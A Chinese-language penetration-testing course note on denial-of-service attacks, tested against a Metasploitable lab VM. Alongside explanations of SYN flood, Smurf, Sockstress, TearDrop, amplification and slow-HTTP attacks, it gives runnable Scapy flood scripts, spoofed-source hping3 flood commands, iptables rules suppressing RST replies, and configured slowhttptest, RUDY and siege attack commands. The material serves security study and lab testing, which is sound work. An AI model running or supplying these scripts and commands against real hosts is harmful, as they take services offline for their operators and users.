Kali Linux渗透测试——拒绝服务

笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程

文章目录

    • 一、基本概念
    • 二、攻击实现
      • 1.Syn-Flood
      • 2.Smurf
      • 3.Sockstress
      • 4.TearDrop
      • 5.Hping3
      • 6.放大攻击
      • 7.应用层DoS
        • (1)SlowHTTPTest
        • (2)RUDY
        • (3)Siege

一、基本概念

拒绝服务攻击指针对网络协议、应用的缺陷或直接耗尽被攻击对象的资源,使得目标计算机或网络无法提供正常的服务或资源访问,由于拒绝服务攻击通常利用实际存在的僵尸机和IP对目标发起合法请求,因此难以防范。可以从源、手段、目标三个层次进行划分:

  • 源:单一(DoS)、众多(DDoS)
  • 手段:漏洞利用、资源消耗
  • 目标:崩溃系统、崩溃程序、宽带资源上限、协议性能上限、应用性能上限、系统性能上限

二、攻击实现

1.Syn-Flood

原理:

我们先复习下TCP在建立和断开连接过程中,Client和Server的状态变化,如下所示:

Kali Linux渗透测试——拒绝服务_第1张图片

图1 TCP建立连接过程状态

Syn-Flood向攻击目标连续、大量发送SYN包,利用三次握手过程中SYN_RCVD -> ESTABLISHED的等待过程,通过占满TCP最大并发连接数实现拒绝服务攻击,原理如下图所示:

Kali Linux渗透测试——拒绝服务_第2张图片

图2 Syn-Flood攻击原理

实现:

利用Scapy脚本发包,如下所示:

#!/usr/bin/python
# .*. coding: utf-8 .*.
from scapy.all import *
from random import randint
from thread import start_new_thread
from sys import argv
from time import sleep

if len(argv) != 4:
    print('usage: ./syn_flood.py [ip_address] [port] [threads]')
    print('eg: ./syn_flood.py 114.114.114.114 80 20')
    sys.exit()

ip_address = argv[1]
port = int(argv[2])
threads = int(argv[3])

print('Syn-Flood attack is running, press Ctrl+C to stop...')

def synflood(ip_address, port):
    while 1:
        rand_port = randint(1,65525)
        send(IP(dst = ip_address)/TCP(dport = port,sport = rand_port),verbose = 0)

for x in range(0,threads):
    start_new_thread(synflood, (ip_address, port))

while 1:
	sleep(1)

将Metasploitable当做靶机,对其发起Syn-Flood攻击,然后通过top和netstat观察系统资源消耗情况,刚开始发现靶机TCP并发连接数未增加,用Wireshark抓包发现系统自动回复了RST,如下所示:

Kali Linux渗透测试——拒绝服务_第3张图片
添加规则拒绝RST包出站:

iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 10.10.11.128 -j REJECT

成功攻击后利用top命令查看靶机CPU性能,发现未受影响,但是TCP并发连接数已达上限256,此时正常TCP请求无法建立。

Kali Linux渗透测试——拒绝服务_第4张图片
Kali Linux渗透测试——拒绝服务_第5张图片
拒绝服务攻击常伴随地址欺骗,即伪造IP源(真正的攻击目标),利用僵尸机回包给攻击目标,从而以隐藏攻击者身份。但注意目前ISP边界路由器对进站和出站的源IP有所限制,会导致伪造IP包发送失败。

2.Smurf

原理:

十分原始的DDoS攻击技术,工作在链路层(局域网),向广播地址发送伪造源地址的ICMP echo Request(ping)包,使得局域网内主机都会向发送ping包的源地址发Reply包,从而使其遭受DDoS攻击。

现代操作系统大多已不再响应目标为广播地址的ping包,因此这种攻击方法已几乎失效。

实现:

利用Scapy脚本发包,如下所示:

#!/usr/bin/python
# .*. coding: utf-8 .*.
from scapy.all import *
send(IP(dst="10.10.11.255",src="10.10.11.128")/ICMP(),count=100,verbose=1)

攻击后发现只有网关设备会回应广播的ping包,Wireshark抓包如下:
Kali Linux渗透测试——拒绝服务_第6张图片

3.Sockstress

原理:

利用TCP建立连接三步握手过程中的最后Client回复的ACK,其中window为协商的接收窗口大小,将其设置为0,使得Server误以为Client接收窗口已满,以等待数据发送,这样使得攻击目标大量Socket保持ESTABLISHED状态,会消耗攻击目标大量的系统资源。

Sockstress是一种非常有效的DoS攻击方式,单机发起异步攻击,可以使得高配置服务器拒绝服务。最有效的防御方法是采用白名单,但是应用起来不实际,折中对策是限制单位时间内每个IP地址的TCP连接数,但这又对DDoS失效。

实现:

利用Scapy脚本发包,如下所示:

#!/usr/bin/python
# .*. coding: utf-8 .*.
from scapy.all import *
from random import randint
import sys,os,signal,thread,time

if len(sys.argv)!=4:
    print('usage: ./sockstress.py [ip_address] [port] [threads]')
    print('eg: ./sockstress.py 114.114.114.114 80 20')
    sys.exit()

ip_address = sys.argv[1]
port = int(sys.argv[2])
threads = int(sys.argv[3])

def sockstress(ip_address, port):
    while 1:
        try:
        	x = randint(0,65535)
        	response = sr1(IP(dst=ip_address)/TCP(dport=port, sport=x, flags='S'),timeout=3,verbose=0)
        	send(IP(dst=ip_address)/TCP(dport=port,sport=x,flags='A',ack=(response[TCP].seq+1),window=0),verbose=0)
        except:
        	pass

def shutdown(signal, frame):
	print('iptables recover...')
	os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d' + ip_address + ' -j DROP')
	sys.exit()

def start():
	print('iptables change...')
	print('Sockstress attack is running, press Ctrl+C to stop...')
	os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d' + ip_address + ' -j DROP')
	for x in range(0, threads):
		thread.start_new_thread(sockstress, (ip_address, port))

signal.signal(signal.SIGINT, shutdown)
start()
while 1:
	time.sleep(1)

利用脚本攻击Metasploit2靶机80端口,攻击后Wireshark抓包分析正常,netstat分析TCP连接80端口处于ESTABLISHED状态最大280,但是靶机cpu性能并没有受影响,攻击无效,没有查阅到相关解释,困惑中。。。

Kali Linux渗透测试——拒绝服务_第7张图片
相反运用C攻击脚本https://github.com/defuse/sockstress可以很好实现DoS攻击,虽然从top性能上分析没有将CPU资源耗尽,但是实际上系统已拒绝提供服务,如ssh、apache均不能正常访问。

git clone https://github.com/defuse/sockstress.git
cd sockstress
make

./sockstress 10.10.11.128:80 eth0 -p payloads/http

Kali Linux渗透测试——拒绝服务_第8张图片

4.TearDrop

原理:

IP协议会将超过其最大传输载荷的数据分段传输,接收方利用数据段之间的IPID和数据偏移值进行拼接,TearDrop即利用IP分段之间数据偏移值重叠覆盖,使得操作系统无法处理此类情况而发生蓝屏、重启、卡死等故障。

原理如下图所示,假设数据段需要拆分为两个IP数据包进行传输,第一个IP包已经传输了1480字节数据,正常第二个IP数据包起始位置偏移量应为1481,而TearDrop攻击中偏移量变为1000,这样就导致接收方在拼接接收的两个IP数据包时出现重叠部分,从而导致系统处理错误。

Kali Linux渗透测试——拒绝服务_第9张图片

图3 TearDop攻击原理

但是这种攻击方式仅针对早期Windows系统(95、98、3x等),这里只分析原理作为学习参考,实践意义并不大。

5.Hping3

和Scapy一样,几乎可以定制发送任何TCP/IP数据包,命令行参数命令,使用更加方便。

  • SYN Flood
hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 10.10.11.128
  • ICMP Flood
hping3 -q -n -a 10.10.11.128 --icmp -d 100 --flood 10.10.11.100
# 10.10.11.100是PING包发往的地址
# 10.10.11.128是PING包中源地址,即攻击目标
  • UDP Flood
hping3 -a 10.10.11.128 --udp -s 53 -d 100 -p 53 --flood 10.10.11.100
# 攻击UDP 53端口(DNS)
# 10.10.11.100是PING包发往的地址
# 10.10.11.128是PING包中源地址,即攻击目标
  • LAND

一种特殊种类的SYN Flood攻击,源地址、目的地址都是攻击目标,攻击目标自己与自己完成TCP三次握手。

hping3 -n -a 10.10.11.128 -S -d 100 -p 80 --flood 10.10.11.128

6.放大攻击

利用协议自身特性,结合IP源地址欺骗,以小流量请求产生大流量回包,利用大量正常工作的主机实现DDoS,适合于放大攻击的协议包括DNS、SNMP、NTP等,这里仅分析其攻击实现原理。

(1)DNS放大攻击

DNS服务端口为UDP 53,攻击原理:伪造源地址为被攻击目标地址,向递归域名查询服务器发起查询,使得DNS服务器成为流量放大和实施攻击者,大量DNS服务器实现DDoS。以dig命令为例,dig ANY google.com @202.106.0.20命令发包数据107bytes,回包数据785bytes,回包流量照比发包放大了7倍。

(2)SNMP放大攻击

SNMP服务端口为UDP 161/162,其工作时由客户端(管理站)向服务端(被管理设备)发起查询请求,所有数据存储在服务端的管理信息数据库中(MIB),攻击原理:伪造源地址为被攻击目标地址,向开启了SNMP服务的设备发送查询请求,使被攻击目标遭受DDoS。

(3)NTP放大攻击

NTP服务端口为UDP 123,用于网络设备时间同步,NTP提供monlist查询功能,监控NTP服务器状况,客户端查询时,NTP服务器返回最后同步时间的600个客户端IP,流量放大约100倍,攻击原理:伪造源地址为被攻击目标地址,向开启了NTP服务且提供monlist查询的设备发送查询请求,使被攻击目标遭受DDoS。

7.应用层DoS

与应用服务进行异常交互时,利用自身存在漏洞耗尽应用或系统的资源,使应用或系统拒绝服务,其中典型且高效的测试方法如慢速DoS攻击:SlowHTTPTestRUDY

(1)SlowHTTPTest

  • 低带宽应用层慢速DoS攻击(源自Google)
  • 最早由Python编写,跨平台支持(Linux、Windows、OSX)
  • 尤其擅长攻击Apache、Tomcat

原理:

Slowloris、Slow HTTP POST

  • 耗尽应用的并发连接池,类似于HTTP层的Syn-Flood
  • HTTP协议默认在服务器全部接收请求之后才开始处理,若客户端发送速度缓慢或不完整,则连接资源始终占用,此类大量并发将导致DoS
  • Slowloris:完整的HTTP请求结尾是\r\n\r\n,在攻击中只发送\r\n
  • Slow HTTP POST:HTTP头content-length声明比较大的长度,但是body部分缓慢发送

Slow Read Attack

  • 与Slowloris、Slow HTTP POST目的相同,都是耗尽应用的并发连接池
  • 不同之处在于其请求正常发送,但慢速读取响应数据
  • 攻击者调整TCP Window窗口大小,使服务器慢速返回数据

Apache Range Header Attack

  • 客户端传输大文件时,体积超过HTTP Body大小限制时进行分段
  • 耗尽服务器CPU、内存资源

实现:

可以从GitHub上下载源码git clone https://github.com/shekyan/slowhttptest.git,然后进入slowhttptest目录运行:

./configure
make && make instal 

然后就可以运行命令,具体在man手册里,可参见EXAMPLES,下面用上述四种slowhttptest方法攻击靶机metasploitable2上运行的Apache:

# Slowloris
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u http://10.10.11.128 -x 24 -p 3

# Slow HTTP POST
slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://10.10.11.128 -x 10 -p 3

# Slow Read Attack
slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http://10.10.11.128 -p 3

# Apache Range Header Attack
slowhttptest -R -u http://10.10.11.128 -t HEAD -c 1000 -a 10 -b 3000 -r 500

经过测试,Slowloris和Slow HTTP POST的攻击效果最好,Slow Read Attack次之,Apache Range Header Attack则无法实现DoS。

另外除了上述下载源码编译后使用命令以外,还可以利用Docker拉取SlowHTTPTest镜像,在新建的容器中使用命令:

# 安装好docker后首先要拉取slowhttptest镜像
docker pull shekyan/slowhttptest

# 然后直接在新建的容器中直接运行命令参数,以Slowloris攻击为例
docker run -it shekyan/slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u http://10.10.11.128 -x 24 -p 3

(2)RUDY

  • R-U-Dead-Yet,慢速应用层HTTP POST攻击,类似SlowHTTPTest
  • 手段更绝,每次只传输一个字节的数据
  • 针对攻击有表单的WEB页面,攻击时要指定攻击的参数名称

实现:

从https://sourceforge.net/projects/r-u-dead-yet/获取源码,解压后README中有详细介绍,在rudeadyet.conf中配置好攻击目标url以及表单提交的对象参数,以metasploitable2中dvwa登录界面为攻击目标:

[parameters]

URL: http://10.10.11.128/dvwa/login.php
number_of_connections: 500
attack_parameter: username
proxy_addr: ""
proxy_port: 0

然后运行./r-u-dead-yet-v2.2.py开始攻击,效果还是比较好的。

(3)Siege

HTTP/HTTPS压力测试工具,模拟多个用户并发访问请求,可到GitHub下载https://github.com/JoeDog/siege.git或者直接apt install siege安装。

siege -g http://10.10.11.128/dvwa/login.php
# 用HEAD|GET方法向-g指定url发送请求,获取banner信息
 
siege -i -c 1000 http://10.10.11.128 -A http-agent
# -i:模拟Internet上用户的正常请求
# -c:模拟多个用户并发测试
# -A:user-agent头内容
# 可以使用-f参数调用url字典文件,同时测试多个url

你可能感兴趣的:(Kali,Linux渗透测试)